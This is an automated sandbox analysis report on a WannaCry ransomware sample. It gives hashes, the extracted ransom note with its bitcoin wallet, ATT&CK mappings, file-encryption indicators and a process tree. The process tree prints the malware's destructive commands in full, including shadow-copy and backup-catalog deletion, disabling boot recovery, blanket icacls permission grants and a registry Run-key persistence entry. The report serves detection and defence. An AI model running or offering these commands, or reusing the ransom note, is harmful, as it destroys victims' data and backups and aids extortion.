wannacry | ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Target

WannaCry.EXE
Size

3.4MB
MD5

84c82835a5d21bbcf75a61706d8ab549
SHA1

5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
SHA256

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
SHA512

90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244

Score

10^/10

wannacry discovery persistence ransomware spyware stealer worm

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Executes dropped EXE 19 IoCs

pid	Process
1508	taskdl.exe
1992	@[email protected]
436	@[email protected]
1692	taskhsvc.exe
1988	taskdl.exe
1524	taskse.exe
1564	@[email protected]
1080	taskdl.exe
1132	taskse.exe
768	@[email protected]
1232	taskdl.exe
1524	taskse.exe
1708	@[email protected]
1660	taskdl.exe
1864	taskse.exe
456	@[email protected]
1768	taskdl.exe
1128	taskse.exe
1628	@[email protected]

Modifies extensions of user files 27 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\ConfirmReceive.png.WNCRY	WannaCry.EXE
File renamed	C:\Users\Admin\Pictures\SuspendRestore.tiff.WNCRYT => C:\Users\Admin\Pictures\SuspendRestore.tiff.WNCRY	WannaCry.EXE
File created	C:\Users\Admin\Pictures\CompressStop.tiff.WNCRYT	WannaCry.EXE
File renamed	C:\Users\Admin\Pictures\CompressStop.tiff.WNCRYT => C:\Users\Admin\Pictures\CompressStop.tiff.WNCRY	WannaCry.EXE
File opened for modification	C:\Users\Admin\Pictures\CompressStop.tiff.WNCRY	WannaCry.EXE
File created	C:\Users\Admin\Pictures\SuspendRestore.tiff.WNCRYT	WannaCry.EXE
File created	C:\Users\Admin\Pictures\UnregisterResume.tiff.WNCRYT	WannaCry.EXE
File renamed	C:\Users\Admin\Pictures\UnregisterResume.tiff.WNCRYT => C:\Users\Admin\Pictures\UnregisterResume.tiff.WNCRY	WannaCry.EXE
File opened for modification	C:\Users\Admin\Pictures\SuspendRestore.tiff	WannaCry.EXE
File opened for modification	C:\Users\Admin\Pictures\UnregisterResume.tiff	WannaCry.EXE
File created	C:\Users\Admin\Pictures\HideDisable.png.WNCRYT	WannaCry.EXE
File opened for modification	C:\Users\Admin\Pictures\HideDisable.png.WNCRY	WannaCry.EXE
File renamed	C:\Users\Admin\Pictures\LimitSend.tif.WNCRYT => C:\Users\Admin\Pictures\LimitSend.tif.WNCRY	WannaCry.EXE
File opened for modification	C:\Users\Admin\Pictures\SaveRegister.raw.WNCRY	WannaCry.EXE
File created	C:\Users\Admin\Pictures\SaveRegister.raw.WNCRYT	WannaCry.EXE
File created	C:\Users\Admin\Pictures\CompressReset.png.WNCRYT	WannaCry.EXE
File opened for modification	C:\Users\Admin\Pictures\LimitSend.tif.WNCRY	WannaCry.EXE
File renamed	C:\Users\Admin\Pictures\CompressReset.png.WNCRYT => C:\Users\Admin\Pictures\CompressReset.png.WNCRY	WannaCry.EXE
File created	C:\Users\Admin\Pictures\ConfirmReceive.png.WNCRYT	WannaCry.EXE
File renamed	C:\Users\Admin\Pictures\HideDisable.png.WNCRYT => C:\Users\Admin\Pictures\HideDisable.png.WNCRY	WannaCry.EXE
File opened for modification	C:\Users\Admin\Pictures\SuspendRestore.tiff.WNCRY	WannaCry.EXE
File renamed	C:\Users\Admin\Pictures\ConfirmReceive.png.WNCRYT => C:\Users\Admin\Pictures\ConfirmReceive.png.WNCRY	WannaCry.EXE
File created	C:\Users\Admin\Pictures\LimitSend.tif.WNCRYT	WannaCry.EXE
File opened for modification	C:\Users\Admin\Pictures\UnregisterResume.tiff.WNCRY	WannaCry.EXE
File opened for modification	C:\Users\Admin\Pictures\CompressStop.tiff	WannaCry.EXE
File opened for modification	C:\Users\Admin\Pictures\CompressReset.png.WNCRY	WannaCry.EXE
File renamed	C:\Users\Admin\Pictures\SaveRegister.raw.WNCRYT => C:\Users\Admin\Pictures\SaveRegister.raw.WNCRY	WannaCry.EXE

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDF594.tmp	WannaCry.EXE

Loads dropped DLL 45 IoCs

pid	Process
816	WannaCry.EXE
816	WannaCry.EXE
1068	cscript.exe
816	WannaCry.EXE
816	WannaCry.EXE
2000	cmd.exe
2000	cmd.exe
1992	@[email protected]
1992	@[email protected]
1692	taskhsvc.exe
1692	taskhsvc.exe
1692	taskhsvc.exe
1692	taskhsvc.exe
1692	taskhsvc.exe
1692	taskhsvc.exe
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE
816	WannaCry.EXE

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1976	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\pzzqswtbknfqf407 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""	reg.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	WannaCry.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2044	vssadmin.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1604	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1692	taskhsvc.exe
1692	taskhsvc.exe
1692	taskhsvc.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1564	@[email protected]

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeBackupPrivilege	1668	vssvc.exe
Token: SeRestorePrivilege	1668	vssvc.exe
Token: SeAuditPrivilege	1668	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1584	WMIC.exe
Token: SeSecurityPrivilege	1584	WMIC.exe
Token: SeTakeOwnershipPrivilege	1584	WMIC.exe
Token: SeLoadDriverPrivilege	1584	WMIC.exe
Token: SeSystemProfilePrivilege	1584	WMIC.exe
Token: SeSystemtimePrivilege	1584	WMIC.exe
Token: SeProfSingleProcessPrivilege	1584	WMIC.exe
Token: SeIncBasePriorityPrivilege	1584	WMIC.exe
Token: SeCreatePagefilePrivilege	1584	WMIC.exe
Token: SeBackupPrivilege	1584	WMIC.exe
Token: SeRestorePrivilege	1584	WMIC.exe
Token: SeShutdownPrivilege	1584	WMIC.exe
Token: SeDebugPrivilege	1584	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1584	WMIC.exe
Token: SeRemoteShutdownPrivilege	1584	WMIC.exe
Token: SeUndockPrivilege	1584	WMIC.exe
Token: SeManageVolumePrivilege	1584	WMIC.exe
Token: 33	1584	WMIC.exe
Token: 34	1584	WMIC.exe
Token: 35	1584	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1584	WMIC.exe
Token: SeSecurityPrivilege	1584	WMIC.exe
Token: SeTakeOwnershipPrivilege	1584	WMIC.exe
Token: SeLoadDriverPrivilege	1584	WMIC.exe
Token: SeSystemProfilePrivilege	1584	WMIC.exe
Token: SeSystemtimePrivilege	1584	WMIC.exe
Token: SeProfSingleProcessPrivilege	1584	WMIC.exe
Token: SeIncBasePriorityPrivilege	1584	WMIC.exe
Token: SeCreatePagefilePrivilege	1584	WMIC.exe
Token: SeBackupPrivilege	1584	WMIC.exe
Token: SeRestorePrivilege	1584	WMIC.exe
Token: SeShutdownPrivilege	1584	WMIC.exe
Token: SeDebugPrivilege	1584	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1584	WMIC.exe
Token: SeRemoteShutdownPrivilege	1584	WMIC.exe
Token: SeUndockPrivilege	1584	WMIC.exe
Token: SeManageVolumePrivilege	1584	WMIC.exe
Token: 33	1584	WMIC.exe
Token: 34	1584	WMIC.exe
Token: 35	1584	WMIC.exe
Token: SeTcbPrivilege	1524	taskse.exe
Token: SeTcbPrivilege	1524	taskse.exe
Token: SeTcbPrivilege	1132	taskse.exe
Token: SeTcbPrivilege	1132	taskse.exe
Token: SeTcbPrivilege	1524	taskse.exe
Token: SeTcbPrivilege	1524	taskse.exe
Token: SeTcbPrivilege	1864	taskse.exe
Token: SeTcbPrivilege	1864	taskse.exe
Token: SeTcbPrivilege	1128	taskse.exe
Token: SeTcbPrivilege	1128	taskse.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1564	@[email protected]

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
436	@[email protected]
1992	@[email protected]
1992	@[email protected]
436	@[email protected]
1564	@[email protected]
1564	@[email protected]
768	@[email protected]
1708	@[email protected]
456	@[email protected]
1628	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 816 wrote to memory of 1800	816	WannaCry.EXE	30
PID 816 wrote to memory of 1800	816	WannaCry.EXE	30
PID 816 wrote to memory of 1800	816	WannaCry.EXE	30
PID 816 wrote to memory of 1800	816	WannaCry.EXE	30
PID 816 wrote to memory of 1976	816	WannaCry.EXE	32
PID 816 wrote to memory of 1976	816	WannaCry.EXE	32
PID 816 wrote to memory of 1976	816	WannaCry.EXE	32
PID 816 wrote to memory of 1976	816	WannaCry.EXE	32
PID 816 wrote to memory of 1508	816	WannaCry.EXE	34
PID 816 wrote to memory of 1508	816	WannaCry.EXE	34
PID 816 wrote to memory of 1508	816	WannaCry.EXE	34
PID 816 wrote to memory of 1508	816	WannaCry.EXE	34
PID 816 wrote to memory of 1948	816	WannaCry.EXE	35
PID 816 wrote to memory of 1948	816	WannaCry.EXE	35
PID 816 wrote to memory of 1948	816	WannaCry.EXE	35
PID 816 wrote to memory of 1948	816	WannaCry.EXE	35
PID 1948 wrote to memory of 1068	1948	cmd.exe	37
PID 1948 wrote to memory of 1068	1948	cmd.exe	37
PID 1948 wrote to memory of 1068	1948	cmd.exe	37
PID 1948 wrote to memory of 1068	1948	cmd.exe	37
PID 816 wrote to memory of 1992	816	WannaCry.EXE	39
PID 816 wrote to memory of 1992	816	WannaCry.EXE	39
PID 816 wrote to memory of 1992	816	WannaCry.EXE	39
PID 816 wrote to memory of 1992	816	WannaCry.EXE	39
PID 816 wrote to memory of 2000	816	WannaCry.EXE	40
PID 816 wrote to memory of 2000	816	WannaCry.EXE	40
PID 816 wrote to memory of 2000	816	WannaCry.EXE	40
PID 816 wrote to memory of 2000	816	WannaCry.EXE	40
PID 2000 wrote to memory of 436	2000	cmd.exe	42
PID 2000 wrote to memory of 436	2000	cmd.exe	42
PID 2000 wrote to memory of 436	2000	cmd.exe	42
PID 2000 wrote to memory of 436	2000	cmd.exe	42
PID 1992 wrote to memory of 1692	1992	@[email protected]	44
PID 1992 wrote to memory of 1692	1992	@[email protected]	44
PID 1992 wrote to memory of 1692	1992	@[email protected]	44
PID 1992 wrote to memory of 1692	1992	@[email protected]	44
PID 436 wrote to memory of 1936	436	@[email protected]	46
PID 436 wrote to memory of 1936	436	@[email protected]	46
PID 436 wrote to memory of 1936	436	@[email protected]	46
PID 436 wrote to memory of 1936	436	@[email protected]	46
PID 1936 wrote to memory of 2044	1936	cmd.exe	48
PID 1936 wrote to memory of 2044	1936	cmd.exe	48
PID 1936 wrote to memory of 2044	1936	cmd.exe	48
PID 1936 wrote to memory of 2044	1936	cmd.exe	48
PID 1936 wrote to memory of 1584	1936	cmd.exe	50
PID 1936 wrote to memory of 1584	1936	cmd.exe	50
PID 1936 wrote to memory of 1584	1936	cmd.exe	50
PID 1936 wrote to memory of 1584	1936	cmd.exe	50
PID 816 wrote to memory of 1988	816	WannaCry.EXE	52
PID 816 wrote to memory of 1988	816	WannaCry.EXE	52
PID 816 wrote to memory of 1988	816	WannaCry.EXE	52
PID 816 wrote to memory of 1988	816	WannaCry.EXE	52
PID 816 wrote to memory of 1524	816	WannaCry.EXE	53
PID 816 wrote to memory of 1524	816	WannaCry.EXE	53
PID 816 wrote to memory of 1524	816	WannaCry.EXE	53
PID 816 wrote to memory of 1524	816	WannaCry.EXE	53
PID 816 wrote to memory of 1564	816	WannaCry.EXE	54
PID 816 wrote to memory of 1564	816	WannaCry.EXE	54
PID 816 wrote to memory of 1564	816	WannaCry.EXE	54
PID 816 wrote to memory of 1564	816	WannaCry.EXE	54
PID 816 wrote to memory of 1232	816	WannaCry.EXE	55
PID 816 wrote to memory of 1232	816	WannaCry.EXE	55
PID 816 wrote to memory of 1232	816	WannaCry.EXE	55
PID 816 wrote to memory of 1232	816	WannaCry.EXE	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1800	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WannaCry.EXE
"C:\Users\Admin\AppData\Local\Temp\WannaCry.EXE"
1⤵
- Modifies extensions of user files
- Drops startup file
- Loads dropped DLL
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
PID:816
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - Views/modifies file attributes
  PID:1800
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:1976
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c 249181641826008.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    3⤵
    - Loads dropped DLL
    PID:1068
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected] co
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
    TaskData\Tor\taskhsvc.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:1692
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /b @[email protected] vs
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Users\Admin\AppData\Local\Temp\@[email protected]
    @[email protected] vs
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1936
    - - C:\Windows\SysWOW64\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:2044
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1584
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1988
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1524
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:1564
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pzzqswtbknfqf407" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
  2⤵
  PID:1232
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pzzqswtbknfqf407" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:1604
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1080
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1132
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:768
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1232
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1524
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1708
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1864
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:456
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1768
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1128
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1628

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1668

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/816-57-0x0000000076671000-0x0000000076673000-memory.dmp

Filesize
8KB

Download
memory/816-60-0x000000001000E000-0x000000001000F000-memory.dmp

Filesize
4KB

Download
memory/816-59-0x0000000010007000-0x000000001000C000-memory.dmp

Filesize
20KB

Download
memory/816-58-0x0000000010001000-0x0000000010007000-memory.dmp

Filesize
24KB

Download
memory/1692-143-0x0000000074A50000-0x0000000074AD2000-memory.dmp

Filesize
520KB

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memory/1692-137-0x0000000074AE0000-0x0000000074CFC000-memory.dmp

Filesize
2.1MB

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memory/1692-140-0x0000000000830000-0x0000000000B2E000-memory.dmp

Filesize
3.0MB

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memory/1692-141-0x0000000074DA0000-0x0000000074E22000-memory.dmp

Filesize
520KB

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memory/1692-145-0x0000000000830000-0x0000000000B2E000-memory.dmp

Filesize
3.0MB

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memory/1692-138-0x0000000074A50000-0x0000000074AD2000-memory.dmp

Filesize
520KB

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memory/1692-136-0x0000000074DA0000-0x0000000074E22000-memory.dmp

Filesize
520KB

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memory/1692-139-0x0000000074A20000-0x0000000074A42000-memory.dmp

Filesize
136KB

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memory/1692-144-0x0000000074A20000-0x0000000074A42000-memory.dmp

Filesize
136KB

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memory/1692-142-0x0000000074AE0000-0x0000000074CFC000-memory.dmp

Filesize
2.1MB

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